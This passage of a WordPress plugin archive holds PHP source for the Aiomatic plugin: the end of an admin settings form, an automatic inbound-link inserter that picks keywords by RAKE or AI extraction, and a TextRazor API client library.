name="aiomatic_Spinner_Settings[search_query]" value="<?php echo esc_html($search_query);?>" placeholder="Search query"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(int) - 4 digit year (e.g. 2011).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Year Query:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" step="1" id="year" name="aiomatic_Spinner_Settings[year]" value="<?php echo esc_html($year);?>" placeholder="Year"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(int) - Month number (from 1 to 12).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Month Query:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="12" step="1" id="month" name="aiomatic_Spinner_Settings[month]" value="<?php echo esc_html($month);?>" placeholder="Month"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(int) - Day of the month (from 1 to 31).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Day Query:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="31" step="1" id="day" name="aiomatic_Spinner_Settings[day]" value="<?php echo esc_html($day);?>" placeholder="Day"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select which posts should be processed - posts with or without featured images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Featured Image Status:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select id="featured_image" name="aiomatic_Spinner_Settings[featured_image]" > <option value="any"<?php if ($featured_image == "any") { echo " selected"; } ?>><?php echo esc_html__("Any", 'aiomatic-automatic-ai-content-writer');?></option> <option value="with"<?php if ($featured_image == "with") { echo " selected"; } ?>><?php echo esc_html__("With Featured Images", 'aiomatic-automatic-ai-content-writer');?></option> <option value="without"<?php if ($featured_image == "without") { echo " selected"; } ?>><?php echo esc_html__("Without Featured Images", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(string) - Designates the ascending or descending order of the 'orderby' parameter. Defaultto 'DESC'.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Order Results:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select id="order" name="aiomatic_Spinner_Settings[order]" > <option value="default"<?php if ($order == "default") { echo " selected"; } ?>><?php echo esc_html__("Default", 'aiomatic-automatic-ai-content-writer');?></option> <option value="DESC"<?php if ($order == "DESC") { echo " selected"; } ?>><?php echo esc_html__("Descendent", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ASC"<?php if ($order == "ASC") { echo " selected"; } ?>><?php echo esc_html__("Ascendent", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(string) - Sort retrieved posts by parameter. Defaults to 'date'.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Order Results By:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select id="orderby" name="aiomatic_Spinner_Settings[orderby]" > <option value="default"<?php if ($orderby == "default") { echo " selected"; } ?>><?php echo esc_html__("Default", 'aiomatic-automatic-ai-content-writer');?></option> <option value="date"<?php if ($orderby == "date") { echo " selected"; } ?>><?php echo esc_html__("Date", 'aiomatic-automatic-ai-content-writer');?></option> <option value="none"<?php if ($orderby == "none") { echo " selected"; } ?>><?php echo esc_html__("None", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ID"<?php if ($orderby == "ID") { echo " selected"; } ?>><?php echo esc_html__("ID", 'aiomatic-automatic-ai-content-writer');?></option> <option value="author"<?php if ($orderby == "author") { echo " selected"; } ?>><?php echo esc_html__("Author", 'aiomatic-automatic-ai-content-writer');?></option> <option value="title"<?php if ($orderby == "title") { echo " selected"; } ?>><?php echo esc_html__("Title", 'aiomatic-automatic-ai-content-writer');?></option> <option value="date"<?php if ($orderby == "date") { echo " selected"; } ?>><?php echo esc_html__("Date", 'aiomatic-automatic-ai-content-writer');?></option> <option value="modified"<?php if ($orderby == "modified") { echo " selected"; } ?>><?php echo esc_html__("Modified", 'aiomatic-automatic-ai-content-writer');?></option> <option value="parent"<?php if ($orderby == "parent") { echo " selected"; } ?>><?php echo esc_html__("Parent", 'aiomatic-automatic-ai-content-writer');?></option> <option value="rand"<?php if ($orderby == "rand") { echo " selected"; } ?>><?php echo esc_html__("Random", 'aiomatic-automatic-ai-content-writer');?></option> <option value="comment_count"<?php if ($orderby == "comment_count") { echo " selected"; } ?>><?php echo esc_html__("Comment Count", 'aiomatic-automatic-ai-content-writer');?></option> <option value="menu_order"<?php if ($orderby == "menu_order") { echo " selected"; } ?>><?php echo esc_html__("Menu Order", 'aiomatic-automatic-ai-content-writer');?></option> <option value="meta_value"<?php if ($orderby == "meta_value") { echo " selected"; } ?>><?php echo esc_html__("Meta Value", 'aiomatic-automatic-ai-content-writer');?></option> <option value="meta_value_num"<?php if ($orderby == "meta_value_num") { echo " selected"; } ?>><?php echo esc_html__("Meta Value Number", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> </table> </div> <div><p class="crsubmit"><input type="submit" name="btnSubmit" id="btnSubmit" class="button button-primary" onclick="unsaved = false;" value="<?php echo esc_html__("Save Settings", 'aiomatic-automatic-ai-content-writer');?>"/></p></div><div> <?php echo esc_html__("New! You can use the [aicontent]Your Prompt[/aicontent] shortcode in this or other", 'aiomatic-automatic-ai-content-writer') . " <a href='https://1.envato.market/coderevolutionplugins' target='_blank'>" . esc_html__("'omatic plugins created by CodeRevolution", 'aiomatic-automatic-ai-content-writer') . "</a>" . esc_html__(", click for details:", 'aiomatic-automatic-ai-content-writer');?> <a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-ai-generated-content-from-any-plugin-built-by-coderevolution/" target="_blank"><img src="https://i.ibb.co/gvTNWr6/artificial-intelligence-badge.png" alt="artificial-intelligence-badge" title="AI content generator support, when used together with the Aiomatic plugin"></a><br/><br/><a href="https://www.youtube.com/watch?v=5rbnu_uis7Y" target="_blank"><?php echo esc_html__("Nested Shortcodes also supported!", 'aiomatic-automatic-ai-content-writer');?></a><br/> </div> </form> <div id="running_status_ai"></div> </div> <?php } ?>�����������������res/InboundLinks.php��������������������������������������������������������������������������������0000644�����������������00000037223�14757771437�0010502 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php use DonatelloZa\RakePlus\RakePlus; class AiomaticAutoInboundLinks { public function __construct() { require_once (dirname(__FILE__) . "/rake-php-plus/src/AbstractStopwordProvider.php"); require_once (dirname(__FILE__) . "/rake-php-plus/src/ILangParseOptions.php"); require_once (dirname(__FILE__) . "/rake-php-plus/src/LangParseOptions.php"); require_once (dirname(__FILE__) . "/rake-php-plus/src/StopwordArray.php"); require_once (dirname(__FILE__) . "/rake-php-plus/src/StopwordsPatternFile.php"); require_once (dirname(__FILE__) . "/rake-php-plus/src/StopwordsPHP.php"); require_once (dirname(__FILE__) . "/rake-php-plus/src/RakePlus.php"); } public function add_inbound_links($content, $max, $link_post_types, $lang, $rel_search, $current_post_id, $link_type, $link_list, $link_nofollow) { $keywords = array(); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(isset($aiomatic_Main_Settings['kw_method']) && $aiomatic_Main_Settings['kw_method'] == 'ai' && isset($aiomatic_Main_Settings['kw_prompt']) && $aiomatic_Main_Settings['kw_prompt'] != '') { if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { aiomatic_log_to_file('You need to insert a valid OpenAI/AiomaticAPI API Key for the automatic AI keyword extractor to work!'); } else { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $plain_text_content = strip_tags($content); $plain_text_content = strip_shortcodes($plain_text_content); if(empty($plain_text_content)) { return ''; } $prompt = $aiomatic_Main_Settings['kw_prompt']; $prompt = str_replace('%%content%%', $plain_text_content, $prompt); if(isset($aiomatic_Main_Settings['kw_model']) && $aiomatic_Main_Settings['kw_model'] != '') { $kw_model = $aiomatic_Main_Settings['kw_model']; } else { $kw_model = get_default_model_name($aiomatic_Main_Settings); } if(isset($aiomatic_Main_Settings['kw_assistant_id']) && $aiomatic_Main_Settings['kw_assistant_id'] != '') { $kw_assistant_id = $aiomatic_Main_Settings['kw_assistant_id']; } else { $kw_assistant_id = ''; } $all_models = aiomatic_get_all_models(true); if(!in_array($kw_model, $all_models)) { $kw_model = get_default_model_name($aiomatic_Main_Settings); } $query_token_count = count(aiomatic_encode($prompt)); $max_tokens = aiomatic_get_max_tokens($kw_model); $available_tokens = aiomatic_compute_available_tokens($kw_model, $max_tokens, $prompt, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($prompt); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $aicontent = aiomatic_substr($prompt, 0, $string_len); $aicontent = trim($aicontent); if(empty($aicontent)) { wp_send_json_error( array( 'message' => 'Incorrect prompt provided!' ) ); exit; } $query_token_count = count(aiomatic_encode($aicontent)); $available_tokens = $max_tokens - $query_token_count; } $thread_id = ''; $aierror = ''; $finish_reason = ''; $generated_text = aiomatic_generate_text($token, $kw_model, $prompt, $available_tokens, 1, 1, 0, 0, false, 'linkKeywordWriter', 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $kw_assistant_id, $thread_id, '', 'disabled', '', false); if($generated_text === false) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Failed to extract link keywords from: ' . $prompt . ' - error: ' . $aierror); } $keywords = array(); } else { $aikws = aiomatic_sanitize_ai_result($generated_text); $keywords = explode(',', $aikws); $keywords = array_map('trim', $keywords); $keywords = array_flip($keywords); } } } else { $keywords = $this->find_keywords($content, $lang); } $content = $this->insert_links($content, $keywords, $max, $link_post_types, $rel_search, $current_post_id, $link_type, $link_list, $link_nofollow); return $content; } private function find_keywords($content, $lang = 'en_US') { $plain_text_content = strip_tags($content); $plain_text_content = strip_shortcodes($plain_text_content); if(empty($plain_text_content)) { return array(); } $rake = RakePlus::create($plain_text_content, $lang); $keywords = $rake->sortByScore('desc')->scores(); return $keywords; } private function insert_links($content, $keywords, $max, $link_post_types, $rel_search, $post_id, $link_type, $link_list, $link_nofollow) { if(count($keywords) == 0 || $max <= 0) { return $content; } $keywords = array_map('trim', $keywords); $keywords = array_unique($keywords); $filteredStrings = []; foreach ($keywords as $string => $prob) { $isSubstring = false; foreach ($keywords as $otherString) { if ($string != $otherString && strpos($otherString, $string) !== false) { $isSubstring = true; break; } } if (!$isSubstring) { $filteredStrings[$string] = $prob; } } $keywords = $filteredStrings; if(count($keywords) == 0) { return $content; } $added = 0; $doneids = array(); if($post_id != null) { $doneids[] = $post_id; } $links = preg_split('/\r\n|\r|\n/', trim($link_list)); $links = array_filter($links); $pre_tags_matches = array(); $pre_tags_matches_s = array(); $conseqMatchs = array(); $htmlfounds = array(); $content = aiomatic_replaceExcludes($content, $htmlfounds, $pre_tags_matches, $pre_tags_matches_s, $conseqMatchs); foreach ($keywords as $keyword => $score) { if($added >= $max) { break; } if($link_type == 'internal' || $link_type == '') { if(strstr($content, $keyword) !== false && strlen($keyword) > 2) { $linked_posts = $this->get_linked_posts($keyword, $link_post_types, $rel_search, $doneids); if (!empty($linked_posts)) { if($linked_posts[0]->guid === null) { $linked_posts[0]->guid = ''; } $replacement = sprintf( '<a href="%s" title="%s">%s</a>', esc_url($linked_posts[0]->guid), esc_attr($linked_posts[0]->post_title), $keyword ); $content = preg_replace('/\b' . preg_quote($keyword, '/') . '\b/', $replacement, $content, 1); $doneids[] = $linked_posts[0]->ID; $added++; } } } elseif($link_type == 'manual') { if(count($links) == 0) { break; } else { $the_link_id = array_rand($links); } $my_link = $links[$the_link_id]; unset($links[$the_link_id]); if(strstr($content, $keyword) !== false && strlen($keyword) > 2) { if($link_nofollow == 'on' || $link_nofollow == '1') { $ltemplate = '<a href="%s" rel="nofollow">%s</a>'; } else { $ltemplate = '<a href="%s">%s</a>'; } $replacement = sprintf( $ltemplate, esc_url($my_link), $keyword ); $content = preg_replace('/\b' . preg_quote($keyword, '/') . '\b/', $replacement, $content, 1); $added++; } } elseif($link_type == 'mixed') { //1 internal, 2 manual $go_selector = rand(1,2); if(count($links) == 0) { $go_selector = 1; } if($go_selector == 1) { if(strstr($content, $keyword) !== false && strlen($keyword) > 2) { $linked_posts = $this->get_linked_posts($keyword, $link_post_types, $rel_search, $doneids); if (!empty($linked_posts)) { if($linked_posts[0]->guid === null) { $linked_posts[0]->guid = ''; } $replacement = sprintf( '<a href="%s" title="%s">%s</a>', esc_url($linked_posts[0]->guid), esc_attr($linked_posts[0]->post_title), $keyword ); $content = preg_replace('/\b' . preg_quote($keyword, '/') . '\b/', $replacement, $content, 1); $doneids[] = $linked_posts[0]->ID; $added++; } else { if(count($links) > 0) { $go_selector = 2; } } } } if($go_selector == 2) { $the_link_id = array_rand($links); $my_link = $links[$the_link_id]; unset($links[$the_link_id]); if(strstr($content, $keyword) !== false && strlen($keyword) > 2) { if($link_nofollow == 'on' || $link_nofollow == '1') { $ltemplate = '<a href="%s" rel="nofollow">%s</a>'; } else { $ltemplate = '<a href="%s">%s</a>'; } $replacement = sprintf( $ltemplate, esc_url($my_link), $keyword ); $content = preg_replace('/\b' . preg_quote($keyword, '/') . '\b/', $replacement, $content, 1); $added++; } } } } $content = aiomatic_restoreExcludes($content, $htmlfounds, $pre_tags_matches, $pre_tags_matches_s, $conseqMatchs); return $content; } private function get_linked_posts($keyword, $link_post_types, $rel_search, $post_id) { global $wpdb; $idquery = "AND ID != %d"; if($post_id === null) { $post_id = 0; } else if(is_array($post_id) && empty($post_id)) { $post_id = 0; } else if(is_array($post_id)) { $post_id = implode(',', $post_id); $idquery = "AND ID NOT IN (%1s)"; } if(empty($link_post_types)) { $link_post_types = 'post'; } $posttypevar = ''; if($link_post_types !== 'post') { $pts = explode(',', $link_post_types); $posttypevar = ''; foreach ($pts as $pt) { if ($posttypevar != '') { $posttypevar .= " OR "; } $posttypevar .= "post_type = '" . trim($pt) . "'"; } $posttypevar = "WHERE (" . $posttypevar . ')'; } else { $posttypevar = "WHERE post_type = 'post'"; } $argsvar = array($post_id); if(is_array($rel_search) && !empty($rel_search)) { if(count($rel_search) == 1) { $refvar = array_reverse($rel_search); $what = array_pop($refvar); $like_expr = $what . ' LIKE %s'; $argsvar[] = '%' . $wpdb->esc_like($keyword) . '%'; } else { $like_expr = '('; $indx = 0; foreach($rel_search as $rsx) { if($indx === 0) { $like_expr .= $rsx . ' LIKE %s'; } else { $like_expr .= ' OR ' . $rsx . ' LIKE %s'; } $indx++; $argsvar[] = '%' . $wpdb->esc_like($keyword) . '%'; } $like_expr .= ')'; } } else { $like_expr = '(post_title LIKE %s OR post_content LIKE %s)'; $argsvar[] = '%' . $wpdb->esc_like($keyword) . '%'; $argsvar[] = '%' . $wpdb->esc_like($keyword) . '%'; } $mysqls = "SELECT * FROM {$wpdb->posts} " . $posttypevar . " AND post_status = 'publish' " . $idquery . " AND " . $like_expr . " LIMIT 1"; $sql = $wpdb->prepare( $mysqls, $argsvar ); $linked_posts = $wpdb->get_results($sql); if(is_array($linked_posts)) { foreach($linked_posts as $mindex => $mpost) { $myperma = get_permalink($mpost->ID); if($myperma !== false) { $linked_posts[$mindex]->guid = $myperma; } } } return $linked_posts; } }�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/TextRazor.php�����������������������������������������������������������������������������������0000644�����������������00000053272�14757771437�0010047 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // http_build_query has its own ideas about how to serialize different types, so we use our own version here. class TextRazorQueryBuilder { private $params = []; public function add($key, $value) { if (is_null($value)) { return; } elseif (is_array($value)) { foreach ($value as $listItem) { $this->add($key, $listItem); } } elseif (is_bool($value)) { $this->add($key, $value ? 'true' : 'false'); } else { $this->params[] = urlencode($key) . '=' . urlencode($value); } } public function build() { return implode('&', $this->params); } } /** * Represents global settings common to all TextRazor operations. Settings can be * enabled here, or with each request. */ class TextRazorSettings { private static $apiKey; private static $endPoint = 'http://api.textrazor.com/'; private static $secureEndPoint = 'https://api.textrazor.com/'; private static $enableEncryption = true; private static $enableCompression = true; // TextRazor has an internal timeout of 30 seconds, after which it will return an error. // We set a higher default here to prevent any transport issues causing a client hang. private static $connectTimeoutSeconds = 120; private static $timeoutSeconds = 120; public static function getApiKey() { return self::$apiKey; } public static function setApiKey($apiKey) { if ( ! is_string($apiKey)) { throw new Exception('TextRazor Error: Invalid API Key'); } self::$apiKey = $apiKey; } public static function getEndPoint() { return self::$endPoint; } public static function setEndPoint($endPoint) { if ( ! is_string($endPoint)) { throw new Exception('TextRazor Error: Invalid HTTP Endpoint'); } self::$endPoint = $endPoint; } public static function getSecureEndPoint() { return self::$secureEndPoint; } public static function setSecureEndPoint($endPoint) { if ( ! is_string($endPoint)) { throw new Exception('TextRazor Error: Invalid HTTPS Endpoint'); } self::$secureEndPoint = $endPoint; } public static function getEnableCompression() { return self::$enableCompression; } public static function setEnableCompression($enableCompression) { if ( ! is_bool($enableCompression)) { throw new Exception('TextRazor Error: enableCompression must be a bool'); } self::$enableCompression = $enableCompression; } public static function getEnableEncryption() { return self::$enableEncryption; } public static function setEnableEncryption($enableEncryption) { if ( ! is_bool($enableEncryption)) { throw new Exception('TextRazor Error: enableEncryption must be a bool'); } self::$enableEncryption = $enableEncryption; } /** * Sets the connection phase timeout in seconds, or 0 for the default. * See https://curl.se/libcurl/c/CURLOPT_CONNECTTIMEOUT.html for details. * * This timeout will not interrupt TextRazor's analysis process, which has a timeout of its own of 30 seconds. */ public static function setConnectTimeoutSeconds($connectTimeoutSeconds) { self::$connectTimeoutSeconds = $connectTimeoutSeconds; } public static function getConnectTimeoutSeconds() { return self::$connectTimeoutSeconds; } /** * Sets the data transfer timeout in seconds, or 0 for the default. * See https://curl.se/libcurl/c/CURLOPT_TIMEOUT.html for details. * * This timeout will not interrupt TextRazor's analysis process, which has a timeout of its own of 30 seconds. */ public static function setTimeoutSeconds($timeoutSeconds) { self::$timeoutSeconds = $timeoutSeconds; } public static function getTimeoutSeconds() { return self::$timeoutSeconds; } } class TextRazorConnection { private $apiKey; private $endPoint; private $secureEndPoint; private $enableEncryption; private $enableCompression; private $timeoutSeconds; private $connectTimeoutSeconds; public function __construct($apiKey) { $this->apiKey = TextRazorSettings::getApiKey(); $this->endPoint = TextRazorSettings::getEndPoint(); $this->secureEndPoint = TextRazorSettings::getSecureEndpoint(); $this->enableEncryption = TextRazorSettings::getEnableEncryption(); $this->enableCompression = TextRazorSettings::getEnableCompression(); $this->timeoutSeconds = TextRazorSettings::getTimeoutSeconds(); $this->connectTimeoutSeconds = TextRazorSettings::getConnectTimeoutSeconds(); if (isset($apiKey)) { $this->apiKey = $apiKey; } if ( ! is_string($this->apiKey)) { throw new Exception('TextRazor Error: Invalid API key'); } if ( ! function_exists('curl_version')) { throw new Exception('TextRazor Error: TextRazor requires cURL support to be enabled on your PHP installation'); } } public function setAPIKey($apiKey) { if ( ! is_string($apiKey)) { throw new Exception('TextRazor Error: Invalid API key'); } $this->apiKey = $apiKey; } public function setEndPoint($endPoint) { if ( ! is_string($endPoint)) { throw new Exception('TextRazor Error: Invalid HTTP Endpoint'); } $this->endPoint = $endPoint; } public function setSecureEndPoint($endPoint) { if ( ! is_string($endPoint)) { throw new Exception('TextRazor Error: Invalid HTTPS Endpoint'); } $this->secureEndPoint = $endPoint; } public function setConnectTimeoutSeconds($connectTimeoutSeconds) { $this->connectTimeoutSeconds = $connectTimeoutSeconds; } public function setTimeoutSeconds($timeoutSeconds) { $this->timeoutSeconds = $timeoutSeconds; } public function setEnableCompression($enableCompression) { if ( ! is_bool($enableCompression)) { throw new Exception('TextRazor Error: enableCompression must be a bool'); } $this->enableCompression = $enableCompression; } public function setEnableEncryption($enableEncryption) { if ( ! is_bool($enableEncryption)) { throw new Exception('TextRazor Error: enableEncryption must be a bool'); } $this->enableEncryption = $enableEncryption; } public function sendRequest($textrazorParams, $path = '', $method = 'POST', $contentType = null) { $curl = curl_init(); if ($this->enableEncryption) { curl_setopt($curl, CURLOPT_URL, $this->secureEndPoint . $path); } else { curl_setopt($curl, CURLOPT_URL, $this->endPoint . $path); } curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); if ($this->enableCompression) { curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate'); } curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, $this->connectTimeoutSeconds); curl_setopt($curl, CURLOPT_TIMEOUT, $this->timeoutSeconds); curl_setopt($curl, CURLOPT_CUSTOMREQUEST, $method); curl_setopt($curl, CURLOPT_POSTFIELDS, $textrazorParams); $headers = []; $headers[] = 'X-TextRazor-Key: ' . trim($this->apiKey); if ($contentType) { $headers[] = 'Content-Type: ' . $contentType; } curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); $reply = curl_exec($curl); $curlError = curl_errno($curl); if (0 != $curlError) { throw new Exception('TextRazor Error: Network problem connecting to TextRazor. CURL Error Code:' . $curlError); } $httpStatus = curl_getinfo($curl, CURLINFO_HTTP_CODE); if (200 != $httpStatus) { throw new Exception('TextRazor Error: TextRazor returned HTTP code: ' . $httpStatus . ' Message:' . $reply); } curl_close($curl); unset($curl); $jsonReply = json_decode($reply, true); return $jsonReply; } } class TextRazor extends TextRazorConnection { private $extractors = []; private $rules = null; private $cleanupHTML = false; private $languageOverride = null; private $dbpediaTypeFilters = []; private $freebaseTypeFilters = []; private $enrichmentQueries = []; private $allowOverlap = true; private $entityDictionaries = []; private $cleanupMode = null; private $cleanupReturnCleaned = false; private $cleanupReturnRaw = false; private $cleanupUseMetadata = false; private $downloadUserAgent = null; private $classifiers = []; private $classifierMaxCategories = null; public function __construct($apiKey = null) { parent::__construct($apiKey); } public function setExtractors($extractors) { if ( ! is_array($extractors)) { throw new Exception('TextRazor Error: extractors must be an array of strings'); } $this->extractors = $extractors; } public function addExtractor($extractor) { if ( ! is_string($extractor)) { throw new Exception('TextRazor Error: extractor must be a string'); } array_push($this->extractors, $extractor); } public function setClassifiers($classifiers) { if ( ! is_array($classifiers)) { throw new Exception('TextRazor Error: $classifiers must be an array of strings'); } $this->classifiers = $classifiers; } public function addClassifier($classifier) { if ( ! is_string($classifier)) { throw new Exception('TextRazor Error: $classifier must be a string'); } array_push($this->classifiers, $classifier); } public function setRules($rules) { if ( ! is_string($rules)) { throw new Exception('TextRazor Error: rules must be a string'); } $this->rules = $rules; } public function setCleanupHTML($cleanupHTML) { if ( ! is_bool($cleanupHTML)) { throw new Exception('TextRazor Error: cleanupHTML must be a bool'); } $this->cleanupHTML = $cleanupHTML; } public function setLanguageOverride($languageOverride) { if ( ! is_string($languageOverride)) { throw new Exception('TextRazor Error: languageOverride must be a string'); } $this->languageOverride = $languageOverride; } public function setAllowOverlap($allowOverlap) { if ( ! is_bool($allowOverlap)) { throw new Exception('TextRazor Error: allowOverlap must be a bool'); } $this->allowOverlap = $allowOverlap; } public function addEntityDictionary($dictionaryId) { if ( ! is_string($dictionaryId)) { throw new Exception('TextRazor Error: dictionaryId must be a string'); } array_push($this->entityDictionaries, $dictionaryId); } public function addDbpediaTypeFilter($filter) { if ( ! is_string($filter)) { throw new Exception('TextRazor Error: filter must be a string'); } array_push($this->dbpediaTypeFilters, $filter); } public function addFreebaseTypeFilter($filter) { if ( ! is_string($filter)) { throw new Exception('TextRazor Error: filter must be a string'); } array_push($this->freebaseTypeFilters, $filter); } public function addEnrichmentQuery($query) { if ( ! is_string($query)) { throw new Exception('TextRazor Error: query must be a string'); } array_push($this->enrichmentQueries, $query); } public function setCleanupMode($cleanupMode) { if ( ! is_string($cleanupMode)) { throw new Exception('TextRazor Error: Invalid Cleanup Mode'); } $this->cleanupMode = $cleanupMode; } public function setCleanupReturnCleaned($cleanupReturnCleaned) { if ( ! is_bool($cleanupReturnCleaned)) { throw new Exception('TextRazor Error: cleanupReturnCleaned must be a bool'); } $this->cleanupReturnCleaned = $cleanupReturnCleaned; } public function setCleanupReturnRaw($cleanupReturnRaw) { if ( ! is_bool($cleanupReturnRaw)) { throw new Exception('TextRazor Error: cleanupReturnRaw must be a bool'); } $this->cleanupReturnRaw = $cleanupReturnRaw; } public function setCleanupUseMetadata($cleanupUseMetadata) { if ( ! is_bool($cleanupUseMetadata)) { throw new Exception('TextRazor Error: cleanupUseMetadata must be a bool'); } $this->cleanupUseMetadata = $cleanupUseMetadata; } public function setDownloadUserAgent($downloadUserAgent) { if ( ! is_string($downloadUserAgent)) { throw new Exception('TextRazor Error: Invalid downloadUserAgent'); } $this->downloadUserAgent = $downloadUserAgent; } public function setClassifierMaxCategories($classifierMaxCategories) { $this->classifierMaxCategories = $classifierMaxCategories; } public function analyzeUrl($url) { if ( ! is_string($url)) { throw new Exception('TextRazor Error: url must be a UTF8 encoded string'); } $builder = $this->buildRequest(); $builder->add('url', $url); return $this->sendRequest($builder->build()); } private function buildRequest() { $builder = new TextRazorQueryBuilder(); $builder->add('extractors', $this->extractors); $builder->add('cleanupHTML', $this->cleanupHTML); $builder->add('extractors', $this->extractors); $builder->add('rules', $this->rules); $builder->add('languageOverride', $this->languageOverride); $builder->add('entities.allowOverlap', $this->allowOverlap); $builder->add('entities.filterDbpediaTypes', $this->dbpediaTypeFilters); $builder->add('entities.filterFreebaseTypes', $this->freebaseTypeFilters); $builder->add('entities.enrichmentQueries', $this->enrichmentQueries); $builder->add('entities.dictionaries', $this->entityDictionaries); $builder->add('classifiers', $this->classifiers); $builder->add('classifier.maxCategories', $this->classifierMaxCategories); $builder->add('cleanup.mode', $this->cleanupMode); $builder->add('cleanup.returnCleaned', $this->cleanupReturnCleaned); $builder->add('cleanup.returnRaw', $this->cleanupReturnRaw); $builder->add('cleanup.useMetadata', $this->cleanupUseMetadata); $builder->add('download.userAgent', $this->downloadUserAgent); return $builder; } public function analyze($text) { if ( ! is_string($text)) { throw new Exception('TextRazor Error: text must be a UTF8 encoded string'); } $builder = $this->buildRequest(); $builder->add('text', $text); return $this->sendRequest($builder->build()); } } class DictionaryManager extends TextRazorConnection { public function __construct($apiKey = null) { parent::__construct($apiKey); } /** * Creates a new dictionary using properties provided in the dict $dictionaryProperties. * See the properties of class Dictionary for valid options. * * @param $entityId * @param null $matchType * @param null $caseInsensitive * @param null $language * * @return mixed * @throws \Exception */ public function createDictionary($entityId, $matchType = null, $caseInsensitive = null, $language = null) { $request = []; if ( ! is_string($entityId)) { throw new Exception('TextRazor Error: Custom Entity Dictionaries must have an ID.'); } if (isset($matchType)) { $request['matchType'] = $matchType; } if (isset($caseInsensitive)) { $request['caseInsensitive'] = $caseInsensitive; } if (isset($language)) { $request['language'] = $language; } $encodedRequest = empty($request) ? '{}' : json_encode($request); return $this->sendRequest($encodedRequest, '/entities/' . $entityId, 'PUT'); } public function allDictionaries() { return $this->sendRequest('', '/entities/', 'GET'); } public function deleteDictionary($entityId) { if ( ! is_string($entityId)) { throw new Exception('TextRazor Error: Custom Entity Dictionaries must have an ID.'); } return $this->sendRequest('', '/entities/' . $entityId, 'DELETE'); } public function getDictionary($entityId) { if ( ! is_string($entityId)) { throw new Exception('TextRazor Error: Custom Entity Dictionaries must have an ID.'); } return $this->sendRequest('', '/entities/' . $entityId, 'GET'); } public function allEntries($entityId, $limit = null, $offset = null) { if ( ! is_string($entityId)) { throw new Exception('TextRazor Error: Custom Entity Dictionaries must have an ID.'); } $urlParams = []; if (isset($limit)) { $urlParams['limit'] = $limit; } if (isset($offset)) { $urlParams['offset'] = $offset; } return $this->sendRequest('', '/entities/' . $entityId . '/_all?' . http_build_query($urlParams), 'GET'); } public function addEntries($entityId, $entries) { if ( ! is_array($entries)) { throw new Exception('TextRazor Error: Entries must be a List of dicts corresponding to properties of the new DictionaryEntry objects.'); } if (empty($entries)) { throw new Exception('TextRazor Error: Array of new entries cannot be empty.'); } return $this->sendRequest(json_encode($entries), '/entities/' . $entityId . '/', 'POST'); } public function getEntry($dictionaryId, $entryId) { if ( ! is_string($dictionaryId)) { throw new Exception('TextRazor Error: Custom Entity Dictionaries must have an ID.'); } if ( ! is_string($entryId)) { throw new Exception('TextRazor Error: Custom Entity Dictionary Entries can only be retrieved by ID.'); } return $this->sendRequest('', '/entities/' . $dictionaryId . '/' . $entryId, 'GET'); } public function deleteEntry($dictionaryId, $entryId) { if ( ! is_string($dictionaryId)) { throw new Exception('TextRazor Error: Custom Entity Dictionaries must have an ID.'); } if ( ! is_string($entryId)) { throw new Exception('TextRazor Error: Custom Entity Dictionary Entries can only be deleted by ID.'); } return $this->sendRequest('', '/entities/' . 